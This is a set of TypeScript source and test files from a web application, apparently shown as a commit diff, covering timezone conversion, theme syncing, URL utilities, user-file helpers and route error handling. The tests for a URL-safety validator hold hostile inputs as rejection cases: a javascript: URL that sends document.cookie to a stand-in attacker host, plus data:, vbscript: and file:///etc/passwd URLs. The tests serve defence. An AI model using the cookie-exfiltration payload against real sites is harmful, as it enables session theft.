export function syncThemeToNextThemes(theme: 'system' | 'light' | 'dark') {
if (typeof window === 'undefined') return
const oldValue = localStorage.getItem('sim-theme')
localStorage.setItem('sim-theme', theme)
window.dispatchEvent(
new StorageEvent('storage', {
key: 'sim-theme',
newValue: theme,
oldValue: oldValue,
storageArea: localStorage,
url: window.location.href,
})
)
const root = document.documentElement
root.classList.remove('light', 'dark')
if (theme === 'system') {
const systemTheme = window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'
root.classList.add(systemTheme)
} else {
root.classList.add(theme)
}
}
/**
* Gets the current theme from next-themes localStorage
*/
export function getThemeFromNextThemes(): 'system' | 'light' | 'dark' {
if (typeof window === 'undefined') return 'system'
return (localStorage.getItem('sim-theme') as 'system' | 'light' | 'dark') || 'system'
}
+123
View File
@@ -0,0 +1,123 @@
import { describe, expect, it } from 'vitest'
import {
getSupportedTimezones,
getTimezoneOptions,
wallClockNow,
zonedClockDate,
zonedWallClockToUtc,
} from './timezone'
describe('zonedWallClockToUtc', () => {
it('treats a UTC wall-clock as the same instant', () => {
expect(zonedWallClockToUtc('2026-06-15T09:00', 'UTC').toISOString()).toBe(
'2026-06-15T09:00:00.000Z'
)
})
it('applies a positive (east-of-UTC) offset (Asia/Kolkata, UTC+5:30)', () => {
expect(zonedWallClockToUtc('2026-06-15T09:00', 'Asia/Kolkata').toISOString()).toBe(
'2026-06-15T03:30:00.000Z'
)
})
it('honors DST: America/New_York is UTC-4 in summer, UTC-5 in winter', () => {
expect(zonedWallClockToUtc('2026-06-15T09:00', 'America/New_York').toISOString()).toBe(
'2026-06-15T13:00:00.000Z'
)
expect(zonedWallClockToUtc('2026-01-15T09:00', 'America/New_York').toISOString()).toBe(
'2026-01-15T14:00:00.000Z'
)
})
it('preserves seconds when present', () => {
expect(zonedWallClockToUtc('2026-07-01T23:59:59', 'UTC').toISOString()).toBe(
'2026-07-01T23:59:59.000Z'
)
})
it('resolves a wall-clock on the autumn DST fall-back day at the correct offset', () => {
// America/New_York falls back EDT(-4)→EST(-5) at 2026-11-01 06:00Z. A naive
// single-pass offset read lands these an hour early; the two-pass resolve
// settles on EST (-5) for these post-transition wall clocks.
expect(zonedWallClockToUtc('2026-11-01T02:00', 'America/New_York').toISOString()).toBe(
'2026-11-01T07:00:00.000Z'
)
expect(zonedWallClockToUtc('2026-11-01T05:00', 'America/New_York').toISOString()).toBe(
'2026-11-01T10:00:00.000Z'
)
})
it('resolves a spring-forward gap wall-clock forward by the DST shift', () => {
// 2026-03-08 02:0002:59 does not exist in America/New_York (EST→EDT).
expect(zonedWallClockToUtc('2026-03-08T02:30', 'America/New_York').toISOString()).toBe(
'2026-03-08T07:30:00.000Z'
)
})
})
describe('wallClockNow', () => {
it('returns a naive yyyy-MM-ddTHH:mm string', () => {
expect(wallClockNow('UTC')).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}$/)
})
})
describe('getSupportedTimezones', () => {
it('always returns a non-empty list including UTC', () => {
const zones = getSupportedTimezones()
expect(zones.length).toBeGreaterThan(0)
expect(zones).toContain('UTC')
})
})
describe('getTimezoneOptions', () => {
it('renders every zone as "City (GMT±HH:MM)"', () => {
const options = getTimezoneOptions()
expect(options.length).toBeGreaterThan(0)
for (const option of options) {
expect(option.label).toMatch(/^.+ \(GMT[+-]\d{2}:\d{2}\)$/)
}
})
it('orders zones alphabetically by city', () => {
const cities = getTimezoneOptions().map((option) =>
option.label.replace(/ \(GMT[+-]\d{2}:\d{2}\)$/, '')
)
expect(cities).toEqual([...cities].sort((a, b) => a.localeCompare(b)))
})
it('uses a live DST-aware offset and a friendly city', () => {
const options = getTimezoneOptions()
expect(options.find((o) => o.value === 'UTC')?.label).toBe('UTC (GMT+00:00)')
// India has no DST, so this offset is stable regardless of when the test runs.
expect(
options.find((o) => o.value === 'Asia/Kolkata' || o.value === 'Asia/Calcutta')?.label
).toMatch(/^(Kolkata|Calcutta) \(GMT\+05:30\)$/)
})
it('has no duplicate values', () => {
const values = getTimezoneOptions().map((o) => o.value)
expect(new Set(values).size).toBe(values.length)
})
})
describe('zonedClockDate', () => {
const instant = new Date('2026-06-15T13:00:00.000Z')
it('exposes the zone wall-clock through device-local fields', () => {
const ny = zonedClockDate(instant, 'America/New_York')
expect(ny.getHours()).toBe(9)
expect(ny.getMinutes()).toBe(0)
expect(ny.getDate()).toBe(15)
})
it('rolls the date when the zone is on the other side of midnight', () => {
const tokyo = zonedClockDate(instant, 'Asia/Tokyo')
expect(tokyo.getDate()).toBe(15)
expect(tokyo.getHours()).toBe(22)
const earlyUtc = new Date('2026-06-15T01:00:00.000Z')
const la = zonedClockDate(earlyUtc, 'America/Los_Angeles')
expect(la.getDate()).toBe(14)
expect(la.getHours()).toBe(18)
})
})
+173
View File
@@ -0,0 +1,173 @@
/**
* A curated fallback for runtimes without `Intl.supportedValuesOf` (e.g. Safari
* < 15.4), so the timezone picker is never an empty dead-end.
*/
const COMMON_TIMEZONES = [
'UTC',
'America/New_York',
'America/Chicago',
'America/Denver',
'America/Los_Angeles',
'America/Sao_Paulo',
'Europe/London',
'Europe/Paris',
'Europe/Berlin',
'Europe/Moscow',
'Asia/Dubai',
'Asia/Kolkata',
'Asia/Singapore',
'Asia/Shanghai',
'Asia/Tokyo',
'Australia/Sydney',
]
/** The IANA timezone the current runtime resolves to (e.g. `America/New_York`). */
export function getBrowserTimezone(): string {
return Intl.DateTimeFormat().resolvedOptions().timeZone
}
/**
* Every IANA timezone identifier the runtime knows, for populating a picker;
* falls back to a curated common set on runtimes without `Intl.supportedValuesOf`.
*/
export function getSupportedTimezones(): string[] {
const zones =
typeof Intl.supportedValuesOf === 'function'
? Intl.supportedValuesOf('timeZone')
: COMMON_TIMEZONES
return zones.includes('UTC') ? zones : ['UTC', ...zones]
}
/** A timezone choice for a picker: the canonical IANA value plus a display label. */
export interface TimezoneOption {
value: string
label: string
}
/** The city/locale portion of an IANA id, formatted for display (e.g. `Los Angeles`). */
function timezoneCity(timeZone: string): string {
return (timeZone.split('/').pop() ?? timeZone).replace(/_/g, ' ')
}
/** `GMT±HH:MM` for an offset expressed in minutes east of UTC (e.g. `GMT-08:00`). */
function formatGmtOffset(offsetMinutes: number): string {
const sign = offsetMinutes >= 0 ? '+' : '-'
const absMinutes = Math.abs(offsetMinutes)
const hours = String(Math.floor(absMinutes / 60)).padStart(2, '0')
const minutes = String(absMinutes % 60).padStart(2, '0')
return `GMT${sign}${hours}:${minutes}`
}
/**
* Timezone options for a picker. Each zone reads as `City (GMT±HH:MM)` — city
* first, offset for reference — and the list is sorted alphabetically by city,
* the order usability research (NN/g, Smart Interface Design Patterns) found
* users expect; offset-sorting confuses people who don't know their offset. The
* offset is computed live, so it tracks DST automatically. Pair this with the
* picker's search and a browser-detected default. Values stay canonical IANA
* ids — what we persist.
*/
export function getTimezoneOptions(): TimezoneOption[] {
const now = new Date()
return getSupportedTimezones()
.map((value) => ({
value,
city: timezoneCity(value),
offsetMinutes: Math.round(timezoneOffsetMs(now, value) / 60_000),
}))
.sort((a, b) => a.city.localeCompare(b.city))
.map(({ value, city, offsetMinutes }) => ({
value,
label: `${city} (${formatGmtOffset(offsetMinutes)})`,
}))
}
/**
* An instant's wall-clock time in `timeZone` as a naive `yyyy-MM-ddTHH:mm`
* string. Lets callers reason about a user's local date/time without UTC — e.g.
* to recover the local date/time a stored task instant represents in its zone.
*/
export function zonedWallClock(instant: Date, timeZone: string): string {
const parts = new Intl.DateTimeFormat('en-CA', {
timeZone,
year: 'numeric',
month: '2-digit',
day: '2-digit',
hour: '2-digit',
minute: '2-digit',
hourCycle: 'h23',
}).formatToParts(instant)
const get = (type: string) => parts.find((p) => p.type === type)?.value ?? '00'
return `${get('year')}-${get('month')}-${get('day')}T${get('hour')}:${get('minute')}`
}
/** The current wall-clock time in `timeZone` as a naive `yyyy-MM-ddTHH:mm` string. */
export function wallClockNow(timeZone: string): string {
return zonedWallClock(new Date(), timeZone)
}
/**
* A `Date` whose device-local fields (year…minute) equal the wall-clock time of
* `instant` in `timeZone`. It deliberately does NOT represent the same instant —
* it is a positioning coordinate that lets naive-local layout code (the calendar
* grid, {@link zonedWallClock}-free pixel offsets) render in `timeZone` without
* itself being timezone-aware. Never read its `getTime()` as a real timestamp;
* the true instant always lives alongside it (e.g. a task's `runAt`).
*/
export function zonedClockDate(instant: Date, timeZone: string): Date {
const [datePart, timePart] = zonedWallClock(instant, timeZone).split('T')
const [year, month, day] = datePart.split('-').map(Number)
const [hour, minute] = timePart.split(':').map(Number)
return new Date(year, month - 1, day, hour, minute)
}
/** The UTC offset (ms, east-positive) of `timeZone` at a given instant. */
function timezoneOffsetMs(instant: Date, timeZone: string): number {
const parts = new Intl.DateTimeFormat('en-US', {
timeZone,
hourCycle: 'h23',
year: 'numeric',
month: '2-digit',
day: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
}).formatToParts(instant)
const get = (type: string) => Number(parts.find((p) => p.type === type)?.value)
const asUtc = Date.UTC(
get('year'),
get('month') - 1,
get('day'),
get('hour'),
get('minute'),
get('second')
)
return asUtc - instant.getTime()
}
/**
* Resolves a naive `yyyy-MM-ddTHH:mm[:ss]` wall-clock — interpreted as local
* time in `timeZone` — to the exact UTC instant. It resolves to the instant
* whose own offset reproduces the requested wall-clock, which is correct for any
* date (including future ones whose offset differs from today's) and across DST:
* a naive single pass reads the offset on the wrong side of a same-day boundary
* — notably the autumn fall-back hour — and lands an hour off. For an ambiguous
* fall-back wall-clock the later (post-transition) instant is chosen; a
* wall-clock in the spring-forward gap (a nonexistent local hour) has no
* self-consistent instant and resolves forward by the DST shift, matching how
* calendar apps treat that once-a-year hour.
*/
export function zonedWallClockToUtc(wallClock: string, timeZone: string): Date {
const [datePart, timePart] = wallClock.split('T')
const [year, month, day] = datePart.split('-').map(Number)
const [hour, minute, second = 0] = timePart.split(':').map(Number)
const utcGuess = Date.UTC(year, month - 1, day, hour, minute, second)
const guessOffset = timezoneOffsetMs(new Date(utcGuess), timeZone)
const candidate = utcGuess - guessOffset
const candidateOffset = timezoneOffsetMs(new Date(candidate), timeZone)
if (candidateOffset === guessOffset) return new Date(candidate)
const adjusted = utcGuess - candidateOffset
return timezoneOffsetMs(new Date(adjusted), timeZone) === candidateOffset
? new Date(adjusted)
: new Date(candidate)
}
+168
View File
@@ -0,0 +1,168 @@
/**
* @vitest-environment jsdom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
const { mockGetEnv } = vi.hoisted(() => ({
mockGetEnv: vi.fn<(key: string) => string | undefined>(),
}))
vi.mock('@/lib/core/config/env', () => ({
env: {},
getEnv: mockGetEnv,
}))
vi.mock('@/lib/core/config/env-flags', () => ({
isProd: false,
}))
import {
getBrowserOrigin,
getSocketUrl,
isLocalhostUrl,
isSafeHttpUrl,
parseOriginList,
} from '@/lib/core/utils/urls'
function setLocation(url: string) {
Object.defineProperty(window, 'location', {
value: new URL(url),
writable: true,
configurable: true,
})
}
describe('getBrowserOrigin', () => {
it('returns the page origin in the browser', () => {
setLocation('https://example.com/some/path')
expect(getBrowserOrigin()).toBe('https://example.com')
})
})
describe('getSocketUrl', () => {
beforeEach(() => {
mockGetEnv.mockReset()
mockGetEnv.mockReturnValue(undefined)
})
afterEach(() => {
vi.restoreAllMocks()
})
it('uses NEXT_PUBLIC_SOCKET_URL when explicitly set', () => {
mockGetEnv.mockImplementation((key) =>
key === 'NEXT_PUBLIC_SOCKET_URL' ? 'https://socket.example.com' : undefined
)
setLocation('https://app.example.com/')
expect(getSocketUrl()).toBe('https://socket.example.com')
})
it('returns the page origin when served from a non-localhost host', () => {
setLocation('https://10.0.3.36/signup')
expect(getSocketUrl()).toBe('https://10.0.3.36')
})
it('falls back to localhost:3002 when served from localhost', () => {
setLocation('http://localhost:3000/')
expect(getSocketUrl()).toBe('http://localhost:3002')
})
it('falls back to localhost:3002 when served from 127.0.0.1', () => {
setLocation('http://127.0.0.1:3000/')
expect(getSocketUrl()).toBe('http://localhost:3002')
})
it('explicit env var wins over the localhost fallback', () => {
mockGetEnv.mockImplementation((key) =>
key === 'NEXT_PUBLIC_SOCKET_URL' ? 'http://realtime.local:3002' : undefined
)
setLocation('http://localhost:3000/')
expect(getSocketUrl()).toBe('http://realtime.local:3002')
})
it('treats whitespace-only env var as unset', () => {
mockGetEnv.mockImplementation((key) => (key === 'NEXT_PUBLIC_SOCKET_URL' ? ' ' : undefined))
setLocation('https://app.example.com/')
expect(getSocketUrl()).toBe('https://app.example.com')
})
})
describe('parseOriginList', () => {
it('returns an empty array for undefined, null, or empty input', () => {
expect(parseOriginList(undefined)).toEqual([])
expect(parseOriginList(null)).toEqual([])
expect(parseOriginList('')).toEqual([])
expect(parseOriginList(' ')).toEqual([])
})
it('parses comma-separated origins and normalizes them', () => {
expect(parseOriginList('https://a.example.com, https://b.example.com/path')).toEqual([
'https://a.example.com',
'https://b.example.com',
])
})
it('dedupes equal origins after normalization', () => {
expect(
parseOriginList('https://a.example.com,https://a.example.com/foo,https://a.example.com')
).toEqual(['https://a.example.com'])
})
it('drops invalid entries and reports them via the callback', () => {
const invalid: string[] = []
const result = parseOriginList('https://ok.example.com, not-a-url, ', (v) => invalid.push(v))
expect(result).toEqual(['https://ok.example.com'])
expect(invalid).toEqual(['not-a-url'])
})
it('preserves non-default ports in the origin', () => {
expect(parseOriginList('http://10.0.3.36:8080')).toEqual(['http://10.0.3.36:8080'])
})
})
describe('isLocalhostUrl', () => {
it('matches localhost variants', () => {
expect(isLocalhostUrl('http://localhost:3000')).toBe(true)
expect(isLocalhostUrl('http://127.0.0.1')).toBe(true)
expect(isLocalhostUrl('https://localhost')).toBe(true)
})
it('does not match public hostnames or invalid URLs', () => {
expect(isLocalhostUrl('https://10.0.3.36')).toBe(false)
expect(isLocalhostUrl('https://app.example.com')).toBe(false)
expect(isLocalhostUrl('not-a-url')).toBe(false)
expect(isLocalhostUrl('')).toBe(false)
})
})
describe('isSafeHttpUrl', () => {
it('allows absolute http(s) URLs', () => {
expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
})
it('allows same-origin relative URLs (resolved against the browser origin)', () => {
expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
})
it('rejects javascript: URLs', () => {
expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
})
it('rejects other script-capable or non-navigable schemes', () => {
expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
})
it('treats relative junk as same-origin http (safe) rather than throwing', () => {
expect(isSafeHttpUrl('')).toBe(true)
expect(isSafeHttpUrl('not a url')).toBe(true)
})
it('rejects unparseable absolute input without throwing', () => {
expect(isSafeHttpUrl('http://')).toBe(false)
})
})
+224
View File
@@ -0,0 +1,224 @@
import { env, getEnv } from '@/lib/core/config/env'
import { isProd } from '@/lib/core/config/env-flags'
/** Canonical base URL for the public-facing marketing site. No trailing slash. */
export const SITE_URL = 'https://www.sim.ai'
function hasHttpProtocol(url: string): boolean {
return /^https?:\/\//i.test(url)
}
function normalizeBaseUrl(url: string): string {
if (hasHttpProtocol(url)) {
return url
}
const protocol = isProd ? 'https://' : 'http://'
return `${protocol}${url}`
}
/**
* Returns the base URL of the application from NEXT_PUBLIC_APP_URL
* This ensures webhooks, callbacks, and other integrations always use the correct public URL
* @returns The base URL string (e.g., 'http://localhost:3000' or 'https://example.com')
* @throws Error if NEXT_PUBLIC_APP_URL is not configured
*/
export function getBaseUrl(): string {
const baseUrl = getEnv('NEXT_PUBLIC_APP_URL')?.trim()
if (!baseUrl) {
throw new Error(
'NEXT_PUBLIC_APP_URL must be configured for webhooks and callbacks to work correctly'
)
}
return normalizeBaseUrl(baseUrl)
}
/**
* Returns the base URL used by server-side internal API calls.
* Falls back to NEXT_PUBLIC_APP_URL when INTERNAL_API_BASE_URL is not set.
*/
export function getInternalApiBaseUrl(): string {
const internalBaseUrl = getEnv('INTERNAL_API_BASE_URL')?.trim()
if (!internalBaseUrl) {
return getBaseUrl()
}
if (!hasHttpProtocol(internalBaseUrl)) {
throw new Error(
'INTERNAL_API_BASE_URL must include protocol (http:// or https://), e.g. http://sim-app.default.svc.cluster.local:3000'
)
}
return internalBaseUrl
}
/**
* Ensures a URL is absolute by prefixing the base URL when a relative path is provided.
* @param pathOrUrl - Relative path (e.g., /api/files/serve/...) or absolute URL
*/
export function ensureAbsoluteUrl(pathOrUrl: string): string {
if (!pathOrUrl) {
throw new Error('URL is required')
}
if (pathOrUrl.startsWith('/')) {
return `${getBaseUrl()}${pathOrUrl}`
}
return pathOrUrl
}
/**
* Returns just the domain and port part of the application URL
* @returns The domain with port if applicable (e.g., 'localhost:3000' or 'sim.ai')
*/
export function getBaseDomain(): string {
try {
const url = new URL(getBaseUrl())
return url.host // host includes port if specified
} catch (_e) {
const fallbackUrl = getEnv('NEXT_PUBLIC_APP_URL') || 'http://localhost:3000'
try {
return new URL(fallbackUrl).host
} catch {
return isProd ? 'sim.ai' : 'localhost:3000'
}
}
}
/**
* Returns the domain for email addresses, stripping www subdomain for Resend compatibility
* @returns The email domain (e.g., 'sim.ai' instead of 'www.sim.ai')
*/
export function getEmailDomain(): string {
try {
const baseDomain = getBaseDomain()
return baseDomain.startsWith('www.') ? baseDomain.substring(4) : baseDomain
} catch (_e) {
return isProd ? 'sim.ai' : 'localhost:3000'
}
}
const DEFAULT_SOCKET_URL = 'http://localhost:3002'
const DEFAULT_OLLAMA_URL = 'http://localhost:11434'
export const LOCALHOST_HOSTNAMES: ReadonlySet<string> = new Set([
'localhost',
'127.0.0.1',
'[::1]',
'::1',
])
export function isLoopbackHostname(hostname: string): boolean {
return LOCALHOST_HOSTNAMES.has(hostname)
}
/**
* Parses a comma-separated list of origins (e.g. from a `TRUSTED_ORIGINS` env
* var) into a deduped array of normalized origins. Invalid entries are dropped.
*
* @param raw - Comma-separated origin list, or undefined/empty
* @param onInvalid - Optional callback invoked once per invalid entry
*/
export function parseOriginList(
raw: string | undefined | null,
onInvalid?: (value: string) => void
): string[] {
if (!raw) return []
const seen = new Set<string>()
const origins: string[] = []
for (const candidate of raw.split(',')) {
const trimmed = candidate.trim()
if (!trimmed) continue
try {
const { origin } = new URL(trimmed)
if (!seen.has(origin)) {
seen.add(origin)
origins.push(origin)
}
} catch {
onInvalid?.(trimmed)
}
}
return origins
}
/**
* Returns true when the given URL points at a localhost loopback host.
* Used to detect misconfigured deployments where `NEXT_PUBLIC_APP_URL` is left
* at its development default in production.
*/
export function isLocalhostUrl(url: string): boolean {
try {
const { hostname } = new URL(url)
return LOCALHOST_HOSTNAMES.has(hostname)
} catch {
return false
}
}
/**
* Returns the current browser origin, or `null` when called server-side.
*
* Use this when an absolute URL is needed for a same-origin resource (auth API,
* reverse-proxied socket, etc.) so a misconfigured `NEXT_PUBLIC_*` env var
* baked into the client bundle at build time can't pin requests to the wrong host.
*/
export function getBrowserOrigin(): string | null {
return typeof window !== 'undefined' ? window.location.origin : null
}
/**
* Validates that a URL uses an http(s) scheme before it is opened in a new window.
* Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
* execute script in the chat origin, since `file.url` originates from untrusted
* workflow/agent output.
*/
export function isSafeHttpUrl(url: string): boolean {
try {
const parsed = new URL(url, getBrowserOrigin() ?? undefined)
return parsed.protocol === 'http:' || parsed.protocol === 'https:'
} catch {
return false
}
}
/**
* Returns the socket server URL for server-side internal API calls.
* Reads from SOCKET_SERVER_URL with a localhost fallback for development.
*/
export function getSocketServerUrl(): string {
return env.SOCKET_SERVER_URL || DEFAULT_SOCKET_URL
}
/**
* Returns the socket server URL for client-side Socket.IO connections.
*
* Resolution order:
* 1. `NEXT_PUBLIC_SOCKET_URL` if explicitly set (subdomain, separate host:port)
* 2. In the browser when the page is served from a non-localhost origin, the
* page's own origin — assumes the reverse proxy routes `/socket.io` to the
* realtime service. This avoids shipping a hardcoded `localhost:3002` to
* self-hosters behind nginx/Cloudflare.
* 3. `http://localhost:3002` for local development and SSR.
*/
export function getSocketUrl(): string {
const explicit = getEnv('NEXT_PUBLIC_SOCKET_URL')?.trim()
if (explicit) return explicit
const browserOrigin = getBrowserOrigin()
if (browserOrigin && !LOCALHOST_HOSTNAMES.has(new URL(browserOrigin).hostname)) {
return browserOrigin
}
return DEFAULT_SOCKET_URL
}
/**
* Returns the Ollama server URL.
* Reads from OLLAMA_URL with a localhost fallback for development.
*/
export function getOllamaUrl(): string {
return env.OLLAMA_URL || DEFAULT_OLLAMA_URL
}
+131
View File
@@ -0,0 +1,131 @@
import type { UserFile } from '@/executor/types'
export type UserFileLike = Pick<UserFile, 'id' | 'name' | 'url' | 'key'> &
Partial<Pick<UserFile, 'size' | 'type' | 'context' | 'base64'>>
/**
* Fields exposed for UserFile objects in UI (tag dropdown) and logs.
* Internal fields like 'key' and 'context' are not exposed.
*/
export const USER_FILE_DISPLAY_FIELDS = ['id', 'name', 'url', 'size', 'type', 'base64'] as const
export type UserFileDisplayField = (typeof USER_FILE_DISPLAY_FIELDS)[number]
/**
* Checks if a value matches the minimal UserFile shape.
*/
export function isUserFile(value: unknown): value is UserFileLike {
if (!value || typeof value !== 'object') {
return false
}
const candidate = value as Record<string, unknown>
return (
typeof candidate.id === 'string' &&
typeof candidate.key === 'string' &&
typeof candidate.url === 'string' &&
typeof candidate.name === 'string'
)
}
/**
* Checks if a value matches the full UserFile metadata shape.
*/
export function isUserFileWithMetadata(value: unknown): value is UserFile {
if (!isUserFile(value)) {
return false
}
const candidate = value as Record<string, unknown>
return typeof candidate.size === 'number' && typeof candidate.type === 'string'
}
/**
* Finds storage keys for UserFile objects embedded in a value.
*/
export function collectUserFileKeys(value: unknown): string[] {
const keys = new Set<string>()
collectUserFileKeysInto(value, keys, new WeakSet<object>())
return Array.from(keys)
}
function collectUserFileKeysInto(value: unknown, keys: Set<string>, seen: WeakSet<object>): void {
if (!value || typeof value !== 'object') {
return
}
if (seen.has(value)) {
return
}
seen.add(value)
if (isUserFileWithMetadata(value)) {
keys.add(value.key)
return
}
if (Array.isArray(value)) {
for (const item of value) {
collectUserFileKeysInto(item, keys, seen)
}
return
}
for (const item of Object.values(value)) {
collectUserFileKeysInto(item, keys, seen)
}
}
/**
* Checks if a value matches the display-safe UserFile metadata shape after internal fields are stripped.
*/
export function isUserFileDisplayMetadata(value: unknown): value is Record<string, unknown> {
if (!value || typeof value !== 'object' || Array.isArray(value)) {
return false
}
const candidate = value as Record<string, unknown>
const url = typeof candidate.url === 'string' ? candidate.url : ''
return (
typeof candidate.id === 'string' &&
typeof candidate.name === 'string' &&
url.length > 0 &&
typeof candidate.size === 'number' &&
typeof candidate.type === 'string' &&
(candidate.id.startsWith('file_') || url.includes('/api/files/serve/'))
)
}
/**
* Filters a UserFile object to only include display fields.
* Used for both UI display and log sanitization.
*/
export function filterUserFileForDisplay(data: Record<string, unknown>): Record<string, unknown> {
const filtered: Record<string, unknown> = {}
for (const field of USER_FILE_DISPLAY_FIELDS) {
if (field in data) {
filtered[field] = data[field]
}
}
return filtered
}
/**
* Extracts base64 content from either a raw base64 string or a UserFile object.
* Useful for tools that accept file input in either format.
* @returns The base64 string, or undefined if not found
*/
export function extractBase64FromFileInput(
input: string | UserFileLike | null | undefined
): string | undefined {
if (typeof input === 'string') {
return input
}
if (input?.base64) {
return input.base64
}
return undefined
}
+63
View File
@@ -0,0 +1,63 @@
import { getBaseUrl } from './urls'
/**
* Checks if a URL is same-origin with a base URL. Defaults to the application's
* base URL, used to prevent open redirect vulnerabilities; pass an explicit
* `base` to pin a URL to another trusted origin (e.g. a configured API host)
* before following it with credentials.
*
* @param url - The URL to validate
* @param base - The origin to compare against (defaults to the app base URL)
* @returns True if the URL is same-origin, false otherwise (secure default)
*/
export function isSameOrigin(url: string, base: string = getBaseUrl()): boolean {
try {
return new URL(url).origin === new URL(base).origin
} catch {
return false
}
}
/**
* Validates a name by removing any characters that could cause issues
* with variable references or node naming.
*
* @param name - The name to validate
* @returns The validated name with invalid characters removed, trimmed, and collapsed whitespace
*/
export function validateName(name: string): string {
return name
.replace(/[^a-zA-Z0-9_\s]/g, '') // Remove invalid characters
.replace(/\s+/g, ' ') // Collapse multiple spaces into single spaces
}
/**
* Checks if a name contains invalid characters
*
* @param name - The name to check
* @returns True if the name is valid, false otherwise
*/
export function isValidName(name: string): boolean {
return /^[a-zA-Z0-9_\s]*$/.test(name)
}
/**
* Gets a list of invalid characters in a name
*
* @param name - The name to check
* @returns Array of invalid characters found
*/
export function getInvalidCharacters(name: string): string[] {
const invalidChars = name.match(/[^a-zA-Z0-9_\s]/g)
return invalidChars ? [...new Set(invalidChars)] : []
}
/**
* Escapes non-ASCII characters in JSON string for HTTP header safety.
* Dropbox API requires characters 0x7F and all non-ASCII to be escaped as \uXXXX.
*/
export function httpHeaderSafeJson(value: object): string {
return JSON.stringify(value).replace(/[\u007f-\uffff]/g, (c) => {
return `\\u${(`0000${c.charCodeAt(0).toString(16)}`).slice(-4)}`
})
}
@@ -0,0 +1,96 @@
import { createLogger, runWithRequestContext } from '@sim/logger'
import { getErrorMessage } from '@sim/utils/errors'
import type { NextRequest } from 'next/server'
import { NextResponse } from 'next/server'
import { HttpError } from '@/lib/core/utils/http-error'
import { generateRequestId } from '@/lib/core/utils/request'
const logger = createLogger('RouteHandler')
type RouteHandler<T = unknown> = (
request: NextRequest,
context: T
) => Promise<NextResponse | Response> | NextResponse | Response
/**
* Reads a numeric `statusCode` (4xx or 5xx) off an `HttpError` so typed domain
* errors (e.g. `WorkspaceAccessDeniedError`, `InvalidFieldError`) map to the
* correct HTTP status when they bubble up unhandled instead of defaulting to
* 500.
*
* Uses an `instanceof HttpError` check (not duck-typing on `statusCode`) so
* third-party errors that happen to carry a `statusCode`-shaped field cannot
* trigger this path and leak their internal `message` to the client.
*
* When a typed status is returned, the error's `message` is sent to the client
* verbatim — matching the NestJS `HttpException` / Spring `ResponseStatusException`
* convention. Subclasses of `HttpError` are responsible for keeping `message`
* safe to expose to clients (no stack traces, secrets, file paths, ORM
* internals).
*/
function readTypedErrorStatus(error: unknown): number | undefined {
if (!(error instanceof HttpError)) return undefined
const status = error.statusCode
if (status < 400 || status >= 600) return undefined
return status
}
/**
* Wraps a Next.js API route handler with centralized error reporting.
*
* - Generates a unique request ID and stores it in AsyncLocalStorage so every
* logger in the request lifecycle automatically includes it
* - Logs all 4xx and 5xx responses with method, path, status, duration
* - Catches unhandled errors, logs them, and returns a 500 with the request ID
* - Attaches `x-request-id` response header
*/
export function withRouteHandler<T>(handler: RouteHandler<T>): RouteHandler<T> {
return async (request: NextRequest, context: T) => {
const requestId = generateRequestId()
const startTime = Date.now()
const method = request?.method ?? 'UNKNOWN'
const path =
request?.nextUrl?.pathname ?? new URL(request?.url ?? '/', 'http://localhost').pathname
return runWithRequestContext({ requestId, method, path }, async () => {
let response: NextResponse | Response
try {
response = await handler(request, context)
} catch (error) {
const duration = Date.now() - startTime
const message = getErrorMessage(error, 'Unknown error')
const typedStatus = readTypedErrorStatus(error)
if (typedStatus !== undefined) {
if (typedStatus >= 500) {
logger.error('Unhandled route error', { duration, status: typedStatus, error: message })
} else {
logger.warn('Typed route error', { duration, status: typedStatus, error: message })
}
response = NextResponse.json({ error: message, requestId }, { status: typedStatus })
} else {
logger.error('Unhandled route error', { duration, error: message })
response = NextResponse.json(
{ error: 'Internal server error', requestId },
{ status: 500 }
)
}
response?.headers?.set('x-request-id', requestId)
return response
}
const status = response?.status ?? 0
const duration = Date.now() - startTime
if (status >= 500) {
logger.error('Server error response', { status, duration })
} else if (status >= 400) {
logger.warn('Client error response', { status, duration })
} else if (status > 0) {
logger.info('OK', { status, duration })
}
response?.headers?.set('x-request-id', requestId)
return response
})
}
}